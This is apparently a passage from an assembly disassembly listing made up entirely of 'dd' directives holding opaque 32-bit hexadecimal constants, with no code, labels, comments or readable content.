		dd 8B3771F8h, 256FADEh,	34838A01h, 0D78071C1h, 0D8DC2D63h
		dd 600D0E22h, 7E1B8F88h, 0F9844F64h, 8BBF827Bh,	3C3E32CBh
		dd 67B5D3B3h, 0B504B907h, 787C476Ah, 8639381Bh,	0D30F38B9h
		dd 0D4D0B709h, 0EED80C1h, 0B2BB3175h, 3730DCh, 0CABEF06h
		dd 987D5448h, 8C19A00h,	4D41FC03h, 8A3B4B6Bh, 97FCD8E9h
		dd 53400A3h, 154D035Ah,	0C0DA3532h, 0C6348BA2h,	8CD705CEh
		dd 0AE504C36h, 25B97A4Bh, 5CC8732Eh, 253614F9h,	3EE5EA3Eh
		dd 16D1A637h, 7979DE83h, 8C295225h, 9FFB563Dh, 7E7BA9B4h
		dd 0B89445EDh, 75ADECBBh, 0B6A30EA1h, 0C2795BC2h, 0B0DB1A81h
		dd 5AA6D42Fh, 0D16ECD46h, 11BC9E95h, 0EB3AA40h,	0C867CB51h
		dd 0A736FD04h, 280E175Fh, 1EC32F8Dh, 7A4EAEE2h,	0C0BD613Eh
		dd 0F9B85A43h, 0DCB84721h, 82603157h, 8EEF5E54h, 0BE75EAD3h
		dd 0D609E333h, 4D699BA2h, 19BE920Dh, 0F284FE64h, 0DE2FE3F7h
		dd 93E038C9h, 5E7D6186h, 0C0256BB2h, 989CD41Ch,	3E09B390h
		dd 295FCB0Ah, 0D4F52DD3h, 0E0B35715h, 222C32F6h, 0A85AB9E9h
		dd 4900942Fh, 511AB1E2h, 52780253h, 3EE3B5BFh, 0D03C484h
		dd 9C3B3735h, 0C1C969D5h, 8FA96DE4h, 8772D312h,	8DC27731h
		dd 0F61127F0h, 0D222EB74h, 70DE7BDCh, 8E4DB846h, 0A9AB4E7Ch
		dd 0CA4E465Bh, 0F537A272h, 0D91681AFh, 0ECC4131Dh, 0C6A601C4h
		dd 34D8A612h, 8860FC8Bh
		dd 0E9D2CDDBh, 0FE3D2FBAh, 905E647Fh, 0B973EAD5h, 0A5D17196h
		dd 68D644BDh, 0A6B8C258h, 9E399471h, 0FB9D5DB0h, 0F983172Dh
		dd 0BEAECFF6h, 8630CEB9h, 2AD7C72Eh, 905B4EB5h,	787B6D01h
		dd 5B243864h, 133238C4h, 42F264A1h, 4A62FE2Fh, 0CD4386ABh
		dd 2A08ACD0h, 73553DAFh, 0F9579BB8h, 0EB528814h, 6848C9F1h
		dd 9B8B04AFh, 0F5558298h, 8370628Ah, 0CE102B5Fh, 88D50D68h
		dd 70250FDFh, 0F7DF9F40h, 34D78385h, 4300B52h, 4FBF1958h
		dd 31CC5CDBh, 6BAE35DDh, 96915950h, 0A85AE2C6h,	67B65B74h
		dd 7AE613Ah, 299C064Dh,	100D868h, 0B6300199h, 51C36D12h
		dd 3FA10311h, 0B0C4A7EEh, 0AABE3D97h, 11B33E10h, 5692D721h
		dd 7893425Bh, 0A48E62ADh, 0C916C94Ch, 0A808ABF4h, 14C7B8Bh
		dd 261238EDh, 1904F2Dh,	2CB200Fh, 3F2BE59Ch, 8455A18Dh
		dd 4756D606h, 7E97ACAEh, 71A9DE5Bh, 0DB8EA531h,	0DEE230B4h
		dd 61E168ADh, 874ECD86h, 0FD641DDEh, 299A0D73h,	6AB2CBC8h
		dd 14E7DE45h, 0DA9B9B0Dh, 0DAB76F2Dh, 1A0E464Fh, 3C26204Eh
		dd 1A45B910h, 7E02D61Fh, 0B9B6A599h, 0B911D6F0h, 0D9050417h
		dd 33CE397Ch, 9C2D9E81h, 29098969h, 0F9F941A2h,	7D25E0CBh
		dd 3A663C58h, 0A14279C5h, 9DB2758Bh, 0CEA1813h,	73DE7699h
		dd 0ED5B35D8h, 1B02C7CCh, 0A4246566h, 275C21ACh, 77D5BBD2h
		dd 98F5416h, 0BB5D61C1h, 7EAF4CC8h, 163B3BC0h, 19168E2Dh
		dd 0FE93EEA8h, 38298536h, 8EE609D2h, 4D129F6Dh,	0D66BDCC3h
		dd 15756364h, 0B89A95E0h, 2E84A184h, 0FAD83A79h, 5F3B8C5Bh
		dd 3CBED17Bh, 0BC269C8h, 216B796Bh, 9061F739h, 0FF3AE633h
		dd 757A3D87h, 0C9253F84h, 0FCACD349h, 99E310A7h, 50BB00Dh
		dd 0B7188F9Bh, 0B45E0A84h, 0B6AFA563h, 28CC8BE7h, 68BF24A0h
		dd 0E6E38002h, 80009719h, 17710B7Fh, 7A39CEB1h,	0B036DD97h
		dd 0AB12F2EDh, 210081D3h, 288A36CEh, 0F33A7431h, 108B4F86h
		dd 0DAAA5CAAh, 0CB01A7Eh, 62DF7DF8h, 0B7F17CCDh, 0E09439C5h
		dd 0F44D59CCh, 6D541E9Bh, 168F8D15h, 38F2084h, 1A8BD5Dh
		dd 7A7C3A90h, 4189A92Ah, 184F017Ch, 79E8C3EDh, 177C1224h
		dd 849CE018h, 438A5496h, 7022D928h, 49EEC7A4h, 7EE9C8C3h
		dd 51E12767h, 9AD96615h, 0EC00C328h, 6F302E86h,	0DB01D8C6h
		dd 777FEBAh, 0F65C9F58h, 0D68165F7h, 405399C4h,	41A2DC35h
		dd 0A1774074h, 0D03CF91Dh, 47808F7Ah, 0E146DA82h, 92C5A7ACh
		dd 70AD8A38h, 81097BA3h, 4B2DF6C8h, 0A9BE9980h,	0C265B9AAh
		dd 352895ACh, 250BDC1Ch, 0CB3818EDh, 0F31D9A25h, 2391015Eh
		dd 23368C79h, 8ECBFF67h, 118C91B8h, 5D4AADh, 0F4639A1Fh
		dd 49E51852h, 0F88DB1E2h, 66BD99DDh, 2BECBC4Eh,	1978D4B0h
		dd 6F5DF0F3h, 117A76Fh,	67A181FCh, 754C4533h, 57B4CB03h
		dd 752887C3h, 331D784Fh, 0EBC29807h, 7D84A2E6h,	115AEEDAh
		dd 8608B17Bh, 0F232518Bh, 529461B0h, 8110D396h,	695B25BCh
		dd 494E51FAh, 3151DD1Ah, 0B6FA4491h, 0B2E81352h, 3F88EFFBh
		dd 59FA0B3Ah, 6195BA88h, 0BCE8C296h, 0FD835E46h, 0AE0FE049h
		dd 0B37E82A8h, 0A09EB534h, 24F4B592h, 0EEDDB2C1h, 3217C9DAh
		dd 6D5A5F01h, 52392B1Ch, 59B833C3h, 194B6ECAh, 0A6EF78DFh
		dd 1A0F18Fh, 0C1FCADF3h, 2088B5EBh, 0B9924077h,	67AFDC48h
		dd 0CC21D1D1h, 0E7A28899h, 1C3FE44Ah, 671ACDD2h, 0B753391Eh
		dd 3D876C18h, 0AEB0C7Ah, 0CC71B7D9h, 0C8A61F2Fh, 4E7A1B3Dh
		dd 0F6D5E346h, 5DACC243h, 0C936F5B1h, 0FC911714h, 280C706Bh
		dd 4F9797Bh, 2BFEC940h,	0C184A0F1h, 0A6860033h,	9EB8F201h
		dd 181929A8h, 0D3D6AAAh, 71ECCDF7h, 0EC71D467h,	0F83ED15Eh
		dd 0F0A0DDCFh, 0A5303BF2h, 4DA2550Ch, 7256C45Ch, 0BF810EF5h
		dd 0F59B62C2h, 2DB9CCB6h, 9F216E80h, 35AA40C6h,	0BB77CCDEh
		dd 1433A932h, 56F8A846h, 4773C721h, 0B861DE52h,	33C5A47Eh
		dd 0F580DA27h, 0C972B251h, 361DCA71h, 0E52554B5h, 0FE3C0577h
		dd 0B5727294h, 0B729FDCBh, 3D77B492h, 4D74243Ah, 98E4DF65h
		dd 41F45496h, 241EA5FBh, 780732B7h, 0F1E2B219h,	0DDCE6CB7h
		dd 3C68759Bh, 0ED78153Ch, 589952D9h, 0D5F9EAD2h, 6E3E937Dh
		dd 0CCF08A33h, 7EE9033Dh, 71E73D2Fh, 49C803E5h,	4838F164h
		dd 81056F3Ah, 3242BBA7h, 131B1361h, 3C84C1A5h, 0B75FEB14h
		dd 62134402h, 927F0700h, 67152695h, 0E46EF408h,	5A62AB67h
		dd 45C9B138h, 0D2B6C119h, 7F2AEA4Ah, 0CBD55F4Fh, 53B94D5Dh
		dd 8B512A98h, 40BAEE0h,	0D761A930h, 5802D042h, 37ABCDA7h
		dd 0A94C0463h, 4BEB7BCEh, 0F182CA70h, 6B542FA0h, 6AA8270h
		dd 0DA8FCE0Bh, 887EC478h, 0B2014108h, 0BB5F308Ah, 0E4121689h
		dd 25780151h, 0F7A6045h, 52EF72C0h, 0A8D3D9D0h,	8A89835Fh
		dd 0EF01AF8Ah, 4AD36B75h, 0E9D197B0h, 1827C47Ah, 0BA373719h
		dd 55BB1622h, 2B9DFBACh, 0D2BE8197h, 0B2DA7241h, 1E4AD0B3h
		dd 0A838B8CBh, 80537F6Dh, 1C737A15h, 0A0D2CD4Ch, 0C8D17241h
		dd 944CCFE0h, 0E1B46E3Ch, 5647DB7Bh, 38CA2C63h,	0CE1C9CD8h
		dd 868CF8F2h, 24117E78h, 7A631E75h, 0DFB2ED67h,	0C7070C8Dh
		dd 9CC8A9Fh, 0D0DE57BEh, 0BCA84D59h, 192B669Eh,	0E6188AA3h
		dd 0F06CC35Fh, 1127CABFh, 3657543Ch, 267F2F5Fh,	51FF2E3Bh
		dd 0FA4FA20Ah, 647D872Dh, 0DCB94E66h, 0E8D46DD7h, 0EA9DB216h
		dd 3FA93D7Eh, 76D5109Ch, 0E9DB882Dh, 0B0A1977Bh, 0F40C0EACh
		dd 0CB398553h, 75D4D750h, 97FDB4BBh, 0E645EF6h,	46A14EB6h
		dd 0DEB13BC2h, 6C673B86h, 0ABD8E369h, 559AEF76h, 0A1D1B45Dh
		dd 72DA9CA7h, 58BD2E1Bh, 79FC7C27h, 757323E0h, 4EB0A617h
		dd 0C35C2522h, 0B48E8086h, 0A2A44702h, 7AB57CBDh, 61EFB9B8h
		dd 44EDC10Fh, 6A55E609h, 976D2471h, 6C711A42h, 0B7545750h
		dd 0FA3975E0h, 711D32B0h, 0D5840E9h, 0EB9C24CDh, 0ACF3524Fh
		dd 0C0FECC4Ah, 7C893D85h, 0CE2E9DA4h, 0EADDB371h, 86C8381Dh
		dd 4CF75136h, 7F41EB59h, 3C546C0Ah, 0CB1AC0CDh,	9B9221C1h
		dd 0D9C2A760h, 924A7495h, 95BF951Ah, 8942E21h, 9DEAAC97h
		dd 5B4E143Bh, 0FF374BDFh, 0FDA39446h, 0CB1E9B60h, 0DA63DA13h
		dd 530DCA0Dh, 0DC37C579h, 0B7EFE748h, 3DB8068Ch, 9034D917h
		dd 18361B39h, 0B779E638h, 0C9BDCE70h, 0E2B8DE56h, 0F9B7BDA0h
		dd 17BBDD1h, 0EC0C89EAh, 4D8C00D0h, 66217247h, 59C17BABh
		dd 315AADB1h, 0E34DCFFAh, 48611CE1h, 0A0329C30h, 3911797Ah
		dd 87576A8Ch, 0D7501D10h, 0BF9A725Fh, 0ABE942BCh, 0DB21EA79h
		dd 0B099CEDBh, 35508D0Eh, 2CB7E87Fh, 0C43DCB70h, 52C40E32h
		dd 0AAD71F73h, 881FA856h, 0B2C4DB99h, 0BBB4152Eh, 808F79B0h
		dd 0E6EDA477h, 8CB3BDE8h, 41BCDEA4h, 9183E937h,	0F8D22317h
		dd 3F7BAA43h, 0F6641927h, 0C436CF79h, 0C930D356h, 954D2638h
		dd 7D39AEDDh, 0AB4527BAh, 0E361213Ah, 91DBED51h, 48CA213Fh
		dd 65452F2Fh, 7C8E28D4h, 0EF375AFDh, 0B6080477h, 7B5FCE41h
		dd 0FF5BC06Ah, 0EE5355FFh, 0CECD3Eh, 0C83ADFF5h, 0C116A33Ch
		dd 842E41F8h, 76E3709Bh, 3866DB24h, 0AA699A91h,	42FB0161h
		dd 54B810A7h, 5AE26ADEh, 21B7FF65h, 883AAFEBh, 32978B0Fh
		dd 0ED2862D0h, 1955AFB3h, 67317C97h, 0F6F7C7B3h, 0B60FB620h
		dd 0F90FDAFAh, 9673F318h, 0D5F37D63h, 94407749h, 5C1C67D4h
		dd 0C211D8CFh, 0E7E95B76h, 1B41E8A8h, 909BE6ADh, 0B7E82AC3h
		dd 0EE73E8DAh, 2D198E53h
		dd 6A2F502Bh, 8CAC630h,	0A6270F11h, 531E8029h, 0DFA74A1Ah
		dd 4CE06479h, 6DC08ACCh, 0CBC64313h, 36F60B21h,	5453C08Ah
		dd 0BA3791C8h, 5C4F6BDDh, 7ABE3372h, 6361C91Ah,	80AF50A0h
		dd 0F4FD8339h, 8B48F038h, 2B645AEh, 0D3EE6096h,	0CC16C73Bh
		dd 0A28583CEh, 613F7254h, 0A18BEA61h, 0E0BFBF9h, 9606EC87h
		dd 66856BE4h, 0E4F75B91h, 48A697D0h, 0E83DF610h, 0DED5C8Ah
		dd 6FADAD93h, 3301AA9h,	3429AE8Dh, 0D1BBC4D4h, 0FD2DDBEAh
		dd 96B1A908h, 0D1CDA66Fh, 6AF9161Dh, 0F5E259F1h, 9D47C350h
		dd 8704E598h, 7578A773h, 1F30051Eh, 837CB244h, 0CA6A2E61h
		dd 0A40CE098h, 3F202E97h, 49B00DA8h, 61D3C78Ch,	0EB406419h
		dd 0E83E2403h, 6391FAC5h, 7B78B2E7h, 0C4B1FEB9h, 73367E54h
		dd 0B7472734h, 80CCEB2Ah, 57522B18h, 0A1E302B4h, 835E8E7Ah
		dd 9D73552h, 7C58EA81h,	0C8D24487h, 22D17B77h, 0A984D4BFh
		dd 943E6EA1h, 0B4EAB170h, 83F1A808h, 87956BE7h,	0A6221291h
		dd 17947F4Bh, 0B8F7336Bh, 871537B7h, 5DD14AA6h,	0C1D636FCh
		dd 0C62463D0h, 78397FB8h, 6A11EC7Dh, 58F458E2h,	0BC778FF7h
		dd 0AF54D64Fh, 0A32530CDh, 0B8A35F88h, 9CCB221Eh, 386769F7h
		dd 989CBE9Dh, 0E8513318h, 7DC1A3E0h, 0C64C2FAh,	734EB222h
		dd 26AC9583h, 0ACEBAF5Ch, 616E8C6Fh, 0C65F0C37h, 3E62EFDDh
		dd 0D9A66CD0h, 7315BF21h, 4DC9C98Bh, 729CDD33h,	880C72C6h
		dd 71E2B7E4h, 6763FE1Fh, 3733E21h, 0E519F726h, 39FF6FA1h
		dd 0BCCDF8CCh, 7E417C30h, 9BAF4BB5h, 0DACB6366h, 0B1FC4A5Ah
		dd 73261E5Fh, 0E774122Eh, 0C3E20FD4h, 9884226Fh, 68BCE023h
		dd 1EBE12B7h, 0E575519Ch, 72FA0BFAh, 47CC6A10h,	0F70C4008h
		dd 6C544F7Bh, 3BDFF4D7h, 9893AC2Ah, 0F8DCEFF7h,	0B3FFC160h
		dd 94E10561h, 0FC349EB6h, 0AB22AF46h, 0C86E05C1h, 0AADD8486h
		dd 0B77C59FAh, 20B3361h, 0F5683415h, 7A9ECA18h,	0EB65940Ch
		dd 4CD07BB9h, 0DFDDB639h, 3F85FFDEh, 7071E842h,	5E68710Fh
		dd 4C08D8FAh, 938C82F6h, 0EF345C6h, 65838AD1h, 0B1D96C59h
		dd 6CED0CCCh, 83EE73B6h, 0FE41C8D4h, 945BD4F3h,	7092A01Ah
		dd 7F426DB9h, 2EC10FC7h, 5A6E6C6Dh, 0C820B728h,	0F7863E60h
		dd 7F19B1DFh, 0BD48CB76h, 5675F599h, 9E483D6Ah,	0B2D0433Ch
		dd 6B227B0h, 18550123h,	25403D84h, 6B360E21h, 98E72156h
		dd 6A632002h, 1FE4F2E0h, 5406E790h, 0AE9F76CEh,	0A357F258h
		dd 0C86D287h, 325E2D4Eh, 0BAC93F0h, 0C032E9B5h,	0D7D4EA63h
		dd 683E1418h, 0B47235D4h, 71F11C3Ah, 304C8BB1h,	486C7F64h
		dd 0C3A5573Ah, 48B07857h, 0B9F9F75Fh, 0C177A262h, 89BBAEB9h
		dd 925CD29Ah, 0C8027C7Ah, 4B3337A7h, 0E8099779h, 660FFA65h
		dd 7E5ADDF7h, 0A02A0DB0h, 4AF2155Ah, 1082328h, 67602C6Dh
		dd 1612F479h, 1A9C6D87h, 88AE149Ch, 921DB24Eh, 0E61107AFh
		dd 0A2BDE018h, 775635DFh, 0F1A5F6E4h, 0A437B251h, 59E8324Fh
		dd 7F542405h, 15E1BD0Eh, 93AF8738h, 887532AAh, 0E2186AD6h
		dd 938A95A8h, 7D33D33Ch, 0A96CB31h, 0B88779BCh,	9EF2E1E5h
		dd 489210D1h, 6F6B5E47h, 625231A5h, 0C9787EFCh,	0F2507BCh
		dd 0EA412886h, 0A61E6D70h, 0A513E582h, 507C87BAh, 0E12BF81Dh
		dd 6F3D2AA9h, 99C45C46h, 5CCEA9EEh, 6F04336Ah, 0A0C070ADh
		dd 0BDF1A867h, 91855AB5h, 0CFC08F15h, 0AB8C3331h, 0EAB29AE8h
		dd 351352DBh, 8E8B6DDh,	1457C86Bh, 234F93BAh, 0F5470978h
		dd 0C1F3D066h, 0ABC02B50h, 27AE2B41h, 0CACA2A63h, 83AC496Ah
		dd 941B3A25h, 83376E5Eh, 0A723429h, 0E1A03F78h,	0A9FF541Ch
		dd 0EB15042Fh, 2902F105h, 37194178h, 7B7F5E9Dh,	0EA8FBA2Bh
		dd 8BAE6881h, 3AE461B5h, 8B1DEC3h, 952731C5h, 3AF77787h
		dd 0E9EDD54Ah, 10942957h, 0CD349A87h, 96D0D811h, 83FFA6CEh
		dd 0E52FCB5Ch, 0E28B2F1h, 7E31B831h, 40BA8483h,	6FB4AFAh
		dd 66A16743h, 4B04F005h, 1108D179h, 9B76224Ch, 885198CEh
		dd 0B1FA49E6h, 796B25CDh, 40924F3Bh, 0AE757417h, 0E99A8FC6h
		dd 0FAFBF098h, 0A531D920h, 0ED25F5C9h, 6BDC1B7h, 4F173086h
		dd 80CB6EA9h, 6F99FBB2h, 800C5B75h, 0A2EF3992h,	4024101Dh
		dd 213E87Dh, 15426D86h,	0DF5FD8C3h, 0B6086929h,	0A382C73Eh
		dd 483F261Ah, 5CFA5C1Ah, 0C92DD68Ah, 0EC907237h, 62DD5B8Fh
		dd 0F3A0DF9Dh, 0F0C332Bh, 9FB0BE27h, 17BADEE2h,	30EFA871h
		dd 9E59AEA5h, 0C1803BD2h, 2FC6A1F3h, 9946B979h,	0CB7974DEh
		dd 0A32897B3h, 0CAF0DA08h, 0CB51C26h, 3E0A2A0Fh, 2A4D3129h
		dd 4D43296Ah, 71EFFE12h, 28D17604h, 24C524D6h, 0B85653C1h
		dd 221BB8ECh, 49CCDBEBh, 232CB34Eh, 0A7D4E21Eh,	0D495B52h
		dd 138642A1h, 712ED45Eh, 99B945FBh, 0DF75AAC3h,	0C7E158DEh
		dd 0F4949134h, 0BB73BAA8h, 0F689157Ah, 933E7B27h, 9D4F5685h
		dd 0B91CF30Dh, 341BA901h, 1264116Ah, 5CDE21FEh,	0EC1F3139h
		dd 1087EDE8h, 8E2A93A7h, 673B3331h, 0C1DB2744h,	0B78B6E02h
		dd 5F05573Fh, 7751E4Eh,	66CACDB5h, 6C0794ECh, 2A5ACE8Bh
		dd 0DD19D2F2h, 9BC8DE2Eh, 1A66CD94h, 900CC67Ah,	0E61A23F1h
		dd 22B80DE3h, 8F88C521h, 26AD062h, 58693F13h, 9159C1CBh
		dd 89027471h, 1C39C600h, 0A8BA67CFh, 1C582C54h,	9B3BA8F6h
		dd 587D268h, 1F7AE193h,	0C2F6CCDAh, 0AEB8E663h,	42C19C7Ch
		dd 0FF06AD6Ah, 7E67A40Eh, 0A79771BBh, 0DBA8D0DAh, 0C0195EF5h
		dd 0C235B27Ah, 0EE0CEFD3h, 0F624233h, 0AF9EAAFDh, 0AC045213h
		dd 9B0B378Bh, 828EE554h, 0FF8060AAh, 586F2C46h,	543BAD7Eh
		dd 163CE4DEh, 0AE9BE020h, 97750E4h, 64DB61E1h, 9F07DE85h
		dd 7AADD216h, 0AEA6FE5Ah, 0EDACFD0Eh, 1FBE9CA9h, 389A05AFh
		dd 72FAB83Fh, 21C7CA2Bh, 84C2DD27h, 82C3509Fh, 0BECF3345h
		dd 7F4D3468h, 89013728h, 7F7C0174h, 9865A243h, 0D3C87A85h
		dd 0BBD489C6h, 261F9CAFh, 0C5DDC073h, 279899DAh, 135B9496h
		dd 44CE061Dh, 0A83609DBh, 32E5932Fh, 0A38131A7h, 264F4299h
		dd 562036A7h, 0A1EAA40Ah, 4468306Fh, 8A98CC78h,	5174C3C9h
		dd 72928A62h, 3F53E9E9h, 80A7BC83h, 73159236h, 7E50A242h
		dd 760CD07Fh, 19CA317Ah, 42551C38h, 4981525Ah, 6F16BAF3h
		dd 8AADAEC9h, 8AAAA586h, 5B8A3641h, 4FF5D800h, 67C12E2Dh
		dd 0F75A4295h, 0AB245F98h, 0F2FA477h, 1F29C30Ah, 8AF161F3h
		dd 395E3E93h, 0C923623Fh, 0CD12C19h, 16E2E5C5h,	0CD267673h
		dd 4733253Ch, 0DCE0A31Ah, 62B2CBC4h, 88201331h,	0C4425A17h
		dd 0F50D09E1h, 6E07230Fh, 927BA9B4h, 0EFB00D27h, 8F334882h
		dd 9B6A6319h, 0F93A0161h, 0A4CFCAB0h, 3DBF5E72h, 0F79B54BDh
		dd 757637E2h, 7B401700h, 8B7C729Ch, 9F2E4350h, 220340D0h
		dd 0AFDD4382h, 6C52E1E6h, 0F0D4FB7Dh, 2E741E18h, 0FB6A1F6Bh
		dd 39D63464h, 379CD1FDh, 1D817853h, 9AAF5D66h, 6CAC2526h
		dd 0DC5D6187h, 15296E8Bh, 0B49CD38Bh, 573F0F57h, 0E588AA4Dh
		dd 0EDC0F77Ch, 1E98A770h, 0AD1F15CAh, 3E603926h, 7DC15FA2h
		dd 0BAB54B9Eh, 0A6719605h, 7B0CE1F5h, 51FEF23Eh, 6FEA8F89h
		dd 0C5DE9402h, 2ED77A50h, 91C8F0D0h, 0E58DD5A7h, 2062B7Ah
		dd 823B71EBh, 151066A5h, 1EAC02BEh, 0E974851Fh,	7033EA69h
		dd 0B67E2A62h, 0AE80B4EFh, 1919E9AAh, 14366904h, 91AF029h
		dd 0EA8AE33Bh, 9498AC2Dh, 31B26B11h, 90EC67F1h,	4C2DCC2Fh
		dd 0B686F375h, 38F45D21h
		dd 50CB04C3h, 6B10DC10h, 0CB4912BCh, 4BEA3BAh, 2B17A4CFh
		dd 9807D424h, 0CAD9EB3Ch, 37F596F5h, 298CE049h,	0C3DE3DC7h
		dd 0FBFF8E4h, 45988949h, 0C7E3EA3Bh, 8FF4258Eh,	1765832h
		dd 0DB89812Eh, 6683FCBDh, 0B77C361Bh, 0EFF68E86h, 7A271006h
		dd 3BC10E72h, 710770A3h, 10FE5D59h, 0B0B858D4h,	41A52756h
		dd 0B1C598ECh, 857261D8h, 79CE91A2h, 9BE18607h,	62C5E715h
		dd 0A8DAF91Dh, 9EE33317h, 213D0407h, 3E329732h,	8A8F8676h
		dd 0FC7F4E1Dh, 2DC6D249h, 6B4DA351h, 0B2F3A3DDh, 7DD817E8h
		dd 3874F963h, 0F7FCD3D2h, 0E2A39CE4h, 0BD22A2F5h, 1FEB7B9Fh
		dd 0C85E5DD8h, 0A230F6F6h, 9F9D2BE6h, 0F2DADF32h, 2EF01AF6h
		dd 648C1534h, 1F3C3079h, 652D2058h, 3386D929h, 6D7D1A9Bh
		dd 0BAD60212h, 6E9CA931h, 0C2BF0859h, 2EBB2ED5h, 8E31294Ch
		dd 0DE24A522h, 4050AA6Fh, 43AC344Eh, 909B45B6h,	41106E31h
		dd 0FC8AC30Dh, 0D21C3D4Ah, 0E3EE29h, 8E71F7FFh,	6B7C1276h
		dd 1D25F192h, 7A5314B3h, 46922F48h, 14349D05h, 73D621A2h
		dd 0E8C71F10h, 0EECA5796h, 0AF93E2BDh, 0FADA33B4h, 95B79A0Eh
		dd 38892A69h, 9CF07BB5h, 9A3580F4h, 1C7F82B0h, 5FD75838h
		dd 0B2C9990Fh, 0E5761612h, 3AECCEC6h, 8A714B14h, 304C9358h
		dd 0A0BF8827h, 203407AFh, 87DED506h, 0D14A4EB0h, 9A9C9C6Eh
		dd 68FA9C6Eh, 0D05D826h, 0C6A53F5h, 6C498CA9h, 39ACAF8Eh
		dd 8ECAC2B1h, 0E1DCDBC0h, 0EF78A0D2h, 247ED3CDh, 2893043Eh
		dd 0AC019CFh, 56A76F58h, 7E8576FFh, 0C6E42BECh,	4B1F001Ch
		dd 0CFF21A41h, 0C0C4B9BAh, 0D2601BA9h, 726E49Eh, 8EED361Ah
		dd 0D5D1A022h, 0E235A418h, 95AB0FDh, 9EDB11C9h,	4E0640ACh
		dd 66D98306h, 209D13DBh, 47BB77FDh, 20A6C3E5h, 9712076Dh
		dd 0C22FA07Bh, 0B53085D5h, 0F0338ECCh, 0E8CF806Ah, 0BE8C05F9h
		dd 4495A654h, 0DF2AEDFDh, 0C084CDBAh, 0E93F9A1Dh, 0C3CA78EDh
		dd 0FD4ADCCFh, 0C8F23742h, 316394B5h, 0D9206D24h, 0BD8F3B37h
		dd 0C954A798h, 73882A70h, 0C69BF0B2h, 0A4DBA814h, 0DAA1ACFh
		dd 30DEC4E2h, 10EFE5C8h, 9E36AABBh, 7C8605Ch, 0E463F69Fh
		dd 62F2C056h, 93B70ABAh, 216C1AA0h, 5867338h, 81A6184Fh
		dd 1BA48588h, 0D7443891h, 4F7227D7h, 2BDDEB02h,	0E322EAE2h
		dd 0DC58D44Fh, 246B8FB8h, 8350DD07h, 70E0B9DDh,	0F65A7C49h
		dd 0BD3E3D60h, 99A19D2h, 7B460F6Fh, 0F45E6BD3h,	1D8A87AAh
		dd 39DFB024h, 594EFAFEh, 0DB29BB69h, 137B2C1Eh,	3A6009FEh
		dd 3A828280h, 9FAE0418h, 23338FC2h, 8BB46508h, 3F9FA0FCh
		dd 2A77A2F4h, 676B1443h, 56C3B188h, 92257F2Dh, 74A47CAEh
		dd 6114203Dh, 8978D102h, 616885ABh, 622B841Ah, 4C73838Ch
		dd 0CEF62455h, 6C4C38A1h, 0DA3B5E24h, 0A1581E46h, 5C2C61E8h
		dd 0C923FDE8h, 3916D060h, 7C8F38CEh, 67960E06h,	2140F42Dh
		dd 0B851FDDAh, 32A5FB47h, 19705113h, 1BC9D444h,	0B8929090h
		dd 44927D69h, 6128B7CCh, 0B5EB9207h, 0BB4BFF3Ch, 9F042275h
		dd 6B90D7DDh, 6EB6F70Bh, 0BF27AC80h, 6C758CCDh,	35AD9668h
		dd 262BD425h, 0B0921ACDh, 14E9409Bh, 50A14642h,	3E6DA93h
		dd 0F2CA9360h, 0F651071h, 637D3A95h, 9570E151h,	0FE595E3Ah
		dd 38975E82h, 0CDDE89Ch, 0BC8E2CD4h, 7013FD80h,	70384410h
		dd 249F6D96h, 8E5E7785h, 21ABEBB0h, 5347F334h, 7143E5EBh
		dd 0D562344Ah, 0D38D2661h, 860154C9h, 106D1166h, 0C8EA7E85h
		dd 0CA2DA92Fh, 8DB86AB9h, 0FFB7D7Bh, 327DD38Eh,	0E8F5BC08h
		dd 0FAC13582h, 8B304BAEh, 91FB5E35h, 0A4EA0429h, 9FFEAA1Eh
		dd 59AFC4BBh, 77B2EA0Ah, 7E55DBFDh, 0D9101029h,	216888E5h
		dd 33B18D51h, 404C32D9h, 0F3977A85h, 0AA457445h, 3024061h
		dd 4EA196E0h, 69243FD6h, 0B55672FCh, 5FC441C2h,	91A195F2h
		dd 0D2D8CFDh, 0C13D876Eh, 8FCC1C5Ah, 13FD5BB6h,	1F738B4Fh
		dd 6E323B91h, 107DD8B2h, 87E69502h, 8826AB3Ah, 4CE7B0Dh
		dd 0F45B0795h, 0DB09E218h, 6DC663Ah, 5199319Ah,	0D8580D8h
		dd 0B3BFF49Bh, 13B06EA6h, 67696B0Ch, 0B341AFB5h, 0C6AADFE9h
		dd 0EADE0826h, 984641E2h, 1767714Bh, 44D4D39h, 9214E7E6h
		dd 3A0E9E56h, 2AE8ACAAh, 0B0DC9A96h, 0AA6A93DDh, 5BFF904Ah
		dd 49DDC21h, 47984858h,	0E819F737h, 3824E460h, 0BCC672D4h
		dd 0EA4FEDDAh, 8C31A071h, 3E784A1Ch, 0D812D2A5h, 17349F1Fh
		dd 930C7B8Bh, 0A81F01FAh, 4619B767h, 6BF44EB4h,	4C814CC1h
		dd 5EB77287h, 0D3894001h, 9D9BBCB3h, 318FF957h,	0AA2965E0h
		dd 0C02FC30Dh, 883321F8h, 34362FA9h, 0D6082CCDh, 0A69E23D9h
		dd 381FEA04h, 20BA2CE9h, 0FD9B2538h, 0D665067Eh, 2D4AF4A2h
		dd 0CDC7E29Bh, 6EDB800Fh, 17F57C66h, 46C65B3h, 5E8FF371h
		dd 125435CFh, 48EB3465h, 76A0B5CCh, 0E413E02h, 2F449799h
		dd 3BAF816Ch, 75081724h, 3A3C5F88h, 0F9A245DFh,	95F3FA5Ch
		dd 7B5B099Ch, 14D0FD6Fh, 5811D334h, 5289765h, 1FF2DD8Fh
		dd 1B071E76h, 645094C5h, 3049EE4Fh, 7D986D89h, 0A33D544Ch
		dd 0B3216055h, 623FF730h, 45E15866h, 0E60AF304h, 1D3D802Ch
		dd 0A48C06C5h, 0E114C61Eh, 70F79E92h, 0F8A6184Fh, 5F468E93h
		dd 0DA18C331h, 0B8921349h, 1E9016C0h, 4AD207FCh, 0D444F440h
		dd 3EDD2882h, 763DDEC7h, 8E835592h, 1538C119h, 0D5B730C8h
		dd 1E6FB208h, 537D273h,	80143EB6h, 0CA054893h, 7BB17767h
		dd 26F1619Eh, 2CD7AF93h, 9F19D765h, 5060000Ah, 46D4F252h
		dd 0A6E07530h, 0FC3C5B97h, 5AC7B4D4h, 852918E9h, 2A3D38B9h
		dd 0DA85405Ch, 2809180Bh, 77BE8E3Eh, 76343072h,	934DC811h
		dd 0A1D0DE40h, 6C9C848h, 86C06006h, 446638BBh, 538B407Fh
		dd 0F88F07C7h, 6665107Dh, 187D31EBh, 0F4956F71h, 0CB5F3C34h
		dd 1AF79774h, 50FE4064h, 34F530C1h, 2DC525A1h, 0EA3CE347h
